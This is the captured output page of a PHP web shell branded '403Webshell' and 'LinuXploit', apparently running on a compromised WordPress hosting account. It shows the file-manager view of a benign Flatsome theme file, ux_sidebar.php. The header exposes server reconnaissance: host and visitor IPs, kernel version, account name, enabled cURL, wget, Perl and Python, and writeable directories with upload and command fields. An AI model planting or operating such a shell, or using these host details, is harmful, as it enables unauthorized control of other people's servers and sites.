403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.12.74.138
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/public_html/wp-content/themes/flatsome/inc/builder/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/public_html/wp-content/themes/flatsome/inc/builder/shortcodes/ux_sidebar.php
<?php

global $wp_registered_sidebars;

$sidebar_options = array();
foreach ($GLOBALS['wp_registered_sidebars'] as $sidebar){
    $sidebar_options[$sidebar['id']] = $sidebar['name'];
}

// TODO: Get sidebars
add_ux_builder_shortcode( 'ux_sidebar', array(
    'name' => __( 'Widget Area' ),
    'category' => __( 'Layout' ),
    'thumbnail' =>  flatsome_ux_builder_thumbnail( 'sidebar' ),
    'options' => array(
        'id' => array(
            'type' => 'select',
            'heading' => 'Select',
            'default' => 'sidebar-main',
            'options' => $sidebar_options,
            'description' => 'You can edit Widget Areas in WP-admin > Apperance > Widgets'
        ),
        'style' => array(
            'type' => 'select',
            'heading' => __( 'Widgets style' ),
            'default' => '',
            'options' => array(
                '' => 'Default',
                'framed' => 'Framed',
                'boxed' => 'Boxed'
            )
        ),
        'advanced_options' => require( __DIR__ . '/commons/advanced.php'),

    ),
) );

Youez - 2016 - github.com/yon3zu
LinuXploit